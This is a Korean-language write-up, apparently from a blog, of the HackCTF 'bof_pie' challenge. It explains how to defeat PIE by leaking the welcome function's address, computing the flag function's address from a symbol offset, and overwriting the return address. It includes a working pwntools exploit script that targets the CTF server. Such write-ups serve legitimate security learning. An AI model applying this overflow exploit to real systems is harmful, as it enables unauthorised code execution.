1. 보호기법 확인
문제이름대로 PIE가 걸려있다.
2. 코드 확인
코드를 보니까 flag를 출력해주는 함수는 j0n9hyun 함수인데, 주소는 welcome주소를 출력해준다.
주소가 고정적이지 않고 실행할 때마다 바뀌므로 실행 시 welcome 주소를 leak 한 후 구해놓은 welcome과 j0n9hyun 함수와의 offset으로 j0n9hyun 함수의 실행 시 주소를 구하고 RTL을 이용해서 return address를 이 주소로 덮어서 리턴 시 flag가 출력되도록 한다.
3. 실행
주소의 길이가 10이므로 recv(10)으로 leak 한다.
4. exploit code
#!/usr/bin/python
from pwn import *
#p = process("./bof_pie")
p = remote("ctf.j0n9hyun.xyz", 3008)
elf = ELF("./bof_pie")
offset = elf.symbols['welcome'] - elf.symbols['j0n9hyun']
p.recvuntil("is ")
welcome = int(p.recv(10), 16)
log.info("welcome : "+hex(welcome))
j0n9hyun = welcome - offset
p.sendline('A'*(0x12 + 0x4) + p32(j0n9hyun))
p.interactive()
5. exploit
[HackCTF] poet (0) | 2020.01.08 |
---|---|
[HackCTF] RTL_World (0) | 2020.01.02 |
[HackCTF] offset (0) | 2020.01.01 |
[HackCTF] Simple_Overflow_ver_2 (0) | 2020.01.01 |
[HackCTF] x64 Simple_size_BOF (0) | 2020.01.01 |